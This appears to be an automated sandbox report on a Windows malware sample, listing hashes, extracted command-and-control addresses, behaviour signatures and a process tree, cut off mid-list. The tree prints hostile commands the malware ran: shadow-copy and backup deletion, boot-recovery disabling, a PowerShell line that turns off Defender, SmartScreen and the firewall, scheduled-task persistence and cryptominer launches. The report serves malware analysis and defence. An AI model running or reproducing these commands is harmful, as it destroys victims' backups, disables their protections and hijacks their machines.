Overview

overview

10

Static

static

28ea220f0c...60.exe

windows7_x64

10

28ea220f0c...60.exe

windows10_x64

10

Analysis

  • max time kernel
    142s
  • max time network
    157s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    20/09/2021, 14:10

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    28ea220f0c8f906c66e1ab5657ca0260.exe

  • Size

    269KB

  • MD5

    28ea220f0c8f906c66e1ab5657ca0260

  • SHA1

    04d158591858f17abd9295f481c26ae7ef771e37

  • SHA256

    71bbaf19229855f0bfdebbe93d12b5f5fac6c0b542b5ca3b5a00d4b088ccdadc

  • SHA512

    aba54593ad2344b0c40e8942f1b4099c639eb443ec2a31c98813243bcc7f03fb192a879be7748d1681db889673e5e1e5d257d8256112359363daa0eacd945cb0

Score
10/10
medusalockerraccoonredlinesmokeloadertofseexmrig2k superstarinstallbvinstallexemoneymakerbackdoordiscoveryevasioninfostealerminerpersistenceransomwarespywarestealersuricatathemidatrojan

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://venerynnet1.top/

http://kevonahira2.top/

http://vegangelist3.top/

http://kingriffaele4.top/

http://arakeishant5.top/
rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

installEXE

C2

146.70.35.170:30905

Extracted

Family

redline

Botnet

installbv

C2

80.85.137.89:17954

Extracted

Family

redline

Botnet

2k superstar

C2

91.142.77.155:5469

Extracted

Family

redline

Botnet

Moneymaker

C2

185.244.217.166:56316

Signatures

  • MedusaLocker

    Ransomware with several variants first seen in September 2019.

    ransomwaremedusalocker
  • MedusaLocker Payload 1 IoCs
  • Modifies WinLogon for persistence 2 TTPs 27 IoCs
    persistence
  • Modifies security service 2 TTPs 1 IoCs
    evasion
  • Process spawned unexpected child process 27 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

    stealerraccoon
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 11 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
    evasion
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • XMRig Miner Payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Deletes System State backups 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Downloads MZ/PE file
  • Executes dropped EXE 51 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Modifies extensions of user files 30 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Sets service image path in registry 2 TTPs
    persistence
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Drops startup file 1 IoCs
  • Loads dropped DLL 27 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 4 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 56 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    evasiontrojan
  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 41 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Drops file in System32 directory 64 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 64 IoCs
  • Suspicious use of SetThreadContext 9 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 30 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 29 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Interacts with shadow copies 2 TTPs 13 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies data under HKEY_USERS 20 IoCs
  • Modifies registry class 6 IoCs
  • Modifies system certificate store 2 TTPs 8 IoCs
    evasionspywaretrojan
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 11 IoCs
  • Suspicious use of SendNotifyMessage 25 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\28ea220f0c8f906c66e1ab5657ca0260.exe
    "C:\Users\Admin\AppData\Local\Temp\28ea220f0c8f906c66e1ab5657ca0260.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:940
    • C:\Users\Admin\AppData\Local\Temp\28ea220f0c8f906c66e1ab5657ca0260.exe
      "C:\Users\Admin\AppData\Local\Temp\28ea220f0c8f906c66e1ab5657ca0260.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:364
  • C:\Users\Admin\AppData\Local\Temp\FF25.exe
    C:\Users\Admin\AppData\Local\Temp\FF25.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1964
    • C:\Users\Admin\AppData\Local\Temp\FF25.exe
      C:\Users\Admin\AppData\Local\Temp\FF25.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:1972
  • C:\Users\Admin\AppData\Local\Temp\6A5.exe
    C:\Users\Admin\AppData\Local\Temp\6A5.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1996
    • C:\Users\Admin\AppData\Local\Temp\6A5.exe
      C:\Users\Admin\AppData\Local\Temp\6A5.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1148
  • C:\Users\Admin\AppData\Local\Temp\1269.exe
    C:\Users\Admin\AppData\Local\Temp\1269.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:1856
  • C:\Users\Admin\AppData\Local\Temp\6FE4.exe
    C:\Users\Admin\AppData\Local\Temp\6FE4.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1960
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hnyckaqw\
      2⤵
        PID:412
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\mrnfdgs.exe" C:\Windows\SysWOW64\hnyckaqw\
        2⤵
          PID:468
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hnyckaqw binPath= "C:\Windows\SysWOW64\hnyckaqw\mrnfdgs.exe /d\"C:\Users\Admin\AppData\Local\Temp\6FE4.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1664
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description hnyckaqw "wifi internet conection"
            2⤵
              PID:1640
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start hnyckaqw
              2⤵
                PID:2016
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1648
              • C:\Users\Admin\AppData\Local\Temp\81A1.exe
                C:\Users\Admin\AppData\Local\Temp\81A1.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:1604
              • C:\Windows\SysWOW64\hnyckaqw\mrnfdgs.exe
                C:\Windows\SysWOW64\hnyckaqw\mrnfdgs.exe /d"C:\Users\Admin\AppData\Local\Temp\6FE4.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                PID:1452
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  PID:1264
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1776
              • C:\Users\Admin\AppData\Local\Temp\9522.exe
                C:\Users\Admin\AppData\Local\Temp\9522.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Modifies system certificate store
                PID:868
                • C:\Windows\SysWOW64\cmd.exe
                  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\9522.exe"
                  2⤵
                    PID:2368
                    • C:\Windows\SysWOW64\timeout.exe
                      timeout /T 10 /NOBREAK
                      3⤵
                      • Delays execution with timeout.exe
                      PID:2884
                • C:\Users\Admin\AppData\Local\Temp\A8A3.exe
                  C:\Users\Admin\AppData\Local\Temp\A8A3.exe
                  1⤵
                  • Executes dropped EXE
                  PID:980
                • C:\Users\Admin\AppData\Local\Temp\C6BE.exe
                  C:\Users\Admin\AppData\Local\Temp\C6BE.exe
                  1⤵
                  • Executes dropped EXE
                  • Modifies extensions of user files
                  • Adds Run key to start application
                  • Drops desktop.ini file(s)
                  • Enumerates connected drives
                  • Drops file in System32 directory
                  • Drops file in Program Files directory
                  • Drops file in Windows directory
                  • System policy modification
                  PID:2032
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=c: /on=c: /maxsize=401MB
                    2⤵
                    • Interacts with shadow copies
                    PID:1008
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=c: /on=c: /maxsize=unbounded
                    2⤵
                    • Interacts with shadow copies
                    PID:1676
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=d: /on=d: /maxsize=401MB
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:1656
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=d: /on=d: /maxsize=unbounded
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:208
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=e: /on=e: /maxsize=401MB
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:1988
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=e: /on=e: /maxsize=unbounded
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:216
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=f: /on=f: /maxsize=401MB
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:204
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=f: /on=f: /maxsize=unbounded
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:1676
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=g: /on=g: /maxsize=401MB
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:224
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=g: /on=g: /maxsize=unbounded
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:236
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=h: /on=h: /maxsize=401MB
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:208
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin.exe Resize ShadowStorage /for=h: /on=h: /maxsize=unbounded
                    2⤵
                    • Enumerates connected drives
                    • Interacts with shadow copies
                    PID:2068
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin.exe Delete Shadows /All /Quiet
                    2⤵
                    • Interacts with shadow copies
                    PID:2420
                  • C:\Windows\system32\bcdedit.exe
                    bcdedit.exe /set {default} recoveryenabled No
                    2⤵
                    • Modifies boot configuration data using bcdedit
                    PID:2508
                  • C:\Windows\system32\bcdedit.exe
                    bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                    2⤵
                    • Modifies boot configuration data using bcdedit
                    PID:2604
                  • C:\Windows\system32\wbadmin.exe
                    wbadmin DELETE SYSTEMSTATEBACKUP
                    2⤵
                    • Deletes System State backups
                    • Drops file in Windows directory
                    PID:2676
                  • C:\Windows\system32\wbadmin.exe
                    wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest
                    2⤵
                    • Deletes System State backups
                    • Drops file in Windows directory
                    PID:2788
                  • C:\Windows\System32\Wbem\wmic.exe
                    wmic.exe SHADOWCOPY /nointeractive
                    2⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2860
                • C:\Users\Admin\AppData\Local\Temp\CD73.exe
                  C:\Users\Admin\AppData\Local\Temp\CD73.exe
                  1⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Suspicious use of SetThreadContext
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1768
                  • C:\ProgramData\ZZZZZ.exe
                    "C:\ProgramData\ZZZZZ.exe"
                    2⤵
                    • Executes dropped EXE
                    PID:2056
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c start C:\Users\Admin\AppData\Roaming\DriverRealtekHDmaster.exe
                      3⤵
                      • Loads dropped DLL
                      PID:2100
                      • C:\Users\Admin\AppData\Roaming\DriverRealtekHDmaster.exe
                        C:\Users\Admin\AppData\Roaming\DriverRealtekHDmaster.exe
                        4⤵
                        • Modifies WinLogon for persistence
                        • Executes dropped EXE
                        • Adds Run key to start application
                        • Drops file in System32 directory
                        • Drops file in Windows directory
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2160
                        • C:\Users\Admin\AppData\Roaming\DriverRealtekHDmaster.exe
                          "C:\Users\Admin\AppData\Roaming\DriverRealtekHDmaster.exe"
                          5⤵
                          • Modifies WinLogon for persistence
                          • Executes dropped EXE
                          • Adds Run key to start application
                          • Drops file in System32 directory
                          • Drops file in Windows directory
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2192
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\kOOy6uMWav.bat"
                            6⤵
                              PID:2788
                              • C:\Windows\system32\chcp.com
                                chcp 65001
                                7⤵
                                  PID:2916
                                • C:\Windows\system32\w32tm.exe
                                  w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                                  7⤵
                                    PID:2908
                                  • C:\Users\Admin\AppData\Roaming\DriverRealtekHDmaster.exe
                                    "C:\Users\Admin\AppData\Roaming\DriverRealtekHDmaster.exe"
                                    7⤵
                                      PID:2248
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\riqMdvj24s.bat"
                                        8⤵
                                          PID:2764
                                          • C:\Windows\system32\chcp.com
                                            chcp 65001
                                            9⤵
                                              PID:944
                                            • C:\Windows\system32\w32tm.exe
                                              w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                                              9⤵
                                                PID:2828
                                              • C:\Recovery\34107922-98a6-11eb-a15f-ea91f6580701\sppsvc.exe
                                                "C:\Recovery\34107922-98a6-11eb-a15f-ea91f6580701\sppsvc.exe"
                                                9⤵
                                                • Executes dropped EXE
                                                • Suspicious behavior: CmdExeWriteProcessMemorySpam
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:2584
                                  • C:\Windows\SysWOW64\cmd.exe
                                    cmd /c start C:\Users\Admin\AppData\Local\Temp\DriverMaster.exe
                                    3⤵
                                    • Loads dropped DLL
                                    PID:2128
                                    • C:\Users\Admin\AppData\Local\Temp\DriverMaster.exe
                                      C:\Users\Admin\AppData\Local\Temp\DriverMaster.exe
                                      4⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2184
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "EngineDriverMaster" /tr '"C:\Users\Admin\AppData\Local\Temp\EngineDriverMaster.exe"' & exit
                                        5⤵
                                          PID:2772
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks /create /f /sc onlogon /rl highest /tn "EngineDriverMaster" /tr '"C:\Users\Admin\AppData\Local\Temp\EngineDriverMaster.exe"'
                                            6⤵
                                            • Creates scheduled task(s)
                                            PID:2836
                                        • C:\Users\Admin\AppData\Local\Temp\EngineDriverMaster.exe
                                          "C:\Users\Admin\AppData\Local\Temp\EngineDriverMaster.exe"
                                          5⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:2116
                                          • C:\Windows\System32\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "EngineDriverMaster" /tr '"C:\Users\Admin\AppData\Local\Temp\EngineDriverMaster.exe"' & exit
                                            6⤵
                                              PID:2536
                                              • C:\Windows\system32\schtasks.exe
                                                schtasks /create /f /sc onlogon /rl highest /tn "EngineDriverMaster" /tr '"C:\Users\Admin\AppData\Local\Temp\EngineDriverMaster.exe"'
                                                7⤵
                                                • Creates scheduled task(s)
                                                PID:2020
                                            • C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe
                                              "C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe"
                                              6⤵
                                              • Executes dropped EXE
                                              PID:1652
                                    • C:\Users\Admin\AppData\Local\Temp\CD73.exe
                                      "C:\Users\Admin\AppData\Local\Temp\CD73.exe"
                                      2⤵
                                      • Executes dropped EXE
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2280
                                  • C:\Windows\system32\vssvc.exe
                                    C:\Windows\system32\vssvc.exe
                                    1⤵
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1740
                                  • C:\Users\Admin\AppData\Local\Temp\D486.exe
                                    C:\Users\Admin\AppData\Local\Temp\D486.exe
                                    1⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                    • Suspicious use of SetThreadContext
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1624
                                    • C:\Users\Admin\AppData\Local\Temp\D486.exe
                                      "C:\Users\Admin\AppData\Local\Temp\D486.exe"
                                      2⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2484
                                      • C:\Users\Admin\AppData\Local\Temp\chlen.exe
                                        "C:\Users\Admin\AppData\Local\Temp\chlen.exe"
                                        3⤵
                                        • Executes dropped EXE
                                        • Loads dropped DLL
                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                        • Suspicious use of SetThreadContext
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:1500
                                        • C:\Users\Admin\AppData\Local\Temp\chlen.exe
                                          "C:\Users\Admin\AppData\Local\Temp\chlen.exe"
                                          4⤵
                                          • Executes dropped EXE
                                          PID:1492
                                      • C:\Users\Admin\AppData\Local\Temp\Zena.exe
                                        "C:\Users\Admin\AppData\Local\Temp\Zena.exe"
                                        3⤵
                                        • Executes dropped EXE
                                        • Drops startup file
                                        • Loads dropped DLL
                                        • Modifies system certificate store
                                        PID:2544
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(exit)
                                          4⤵
                                          • Modifies security service
                                          • Loads dropped DLL
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:2348
                                          • C:\ProgramData\UpSys.exe
                                            "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
                                            5⤵
                                            • Executes dropped EXE
                                            PID:2708
                                            • C:\ProgramData\UpSys.exe
                                              "C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
                                              6⤵
                                              • Executes dropped EXE
                                              PID:1876
                                              • C:\ProgramData\UpSys.exe
                                                "C:\ProgramData\UpSys.exe" /TI/ /SW:0 powershell.exe
                                                7⤵
                                                • Modifies WinLogon for persistence
                                                • Executes dropped EXE
                                                • Adds Run key to start application
                                                • Drops file in System32 directory
                                                • Drops file in Program Files directory
                                                • Drops file in Windows directory
                                                • Modifies data under HKEY_USERS
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:2248
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
                                                  8⤵
                                                  • Modifies data under HKEY_USERS
                                                  PID:3040
                                          • C:\Windows\system32\netsh.exe
                                            "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
                                            5⤵
                                              PID:2896
                                          • C:\ProgramData\Systemd\Moneylogs1.exe
                                            -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
                                            4⤵
                                            • Executes dropped EXE
                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                            PID:2516
                                          • C:\ProgramData\Systemd\Moneylogs1.exe
                                            -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
                                            4⤵
                                            • Executes dropped EXE
                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                            PID:2812
                                          • C:\ProgramData\Systemd\Moneylogs1.exe
                                            -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
                                            4⤵
                                            • Executes dropped EXE
                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                            PID:520
                                          • C:\ProgramData\Systemd\Moneylogs1.exe
                                            -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
                                            4⤵
                                            • Executes dropped EXE
                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                            PID:860
                                          • C:\ProgramData\Systemd\Moneylogs1.exe
                                            -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
                                            4⤵
                                            • Executes dropped EXE
                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                            PID:2328
                                          • C:\ProgramData\Systemd\Moneylogs1.exe
                                            -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
                                            4⤵
                                            • Executes dropped EXE
                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                            PID:1800
                                          • C:\ProgramData\Systemd\Moneylogs1.exe
                                            -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
                                            4⤵
                                            • Executes dropped EXE
                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                            PID:2276
                                          • C:\ProgramData\Systemd\Moneylogs1.exe
                                            -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
                                            4⤵
                                            • Executes dropped EXE
                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                            PID:2080
                                          • C:\ProgramData\Systemd\Moneylogs1.exe
                                            -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
                                            4⤵
                                            • Executes dropped EXE
                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                            PID:2768
                                          • C:\ProgramData\Systemd\Moneylogs1.exe
                                            -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
                                            4⤵
                                            • Executes dropped EXE
                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                            PID:2372
                                          • C:\ProgramData\Systemd\Moneylogs1.exe
                                            -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
                                            4⤵
                                            • Executes dropped EXE
                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                            PID:2456
                                          • C:\ProgramData\Systemd\Moneylogs1.exe
                                            -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
                                            4⤵
                                            • Executes dropped EXE
                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                            PID:2292
                                          • C:\ProgramData\Systemd\Moneylogs1.exe
                                            -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
                                            4⤵
                                            • Executes dropped EXE
                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                            PID:2668
                                          • C:\ProgramData\Systemd\Moneylogs1.exe
                                            -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
                                            4⤵
                                            • Executes dropped EXE
                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                            PID:2716
                                          • C:\ProgramData\Systemd\Moneylogs1.exe
                                            -epool eu1.ethermine.org:4444 -ewal 0xd988388A10BEe45505917886eB7d2d1ff6ccA80a -worker Worker -epsw password666 -mode 1 -Rmode 1 -log 0 -mport 0 -etha 0 -retrydelay 1 -coin eth
                                            4⤵
                                            • Executes dropped EXE
                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                            PID:2732
                                          • C:\ProgramData\Systemd\Moneylogs1.exe
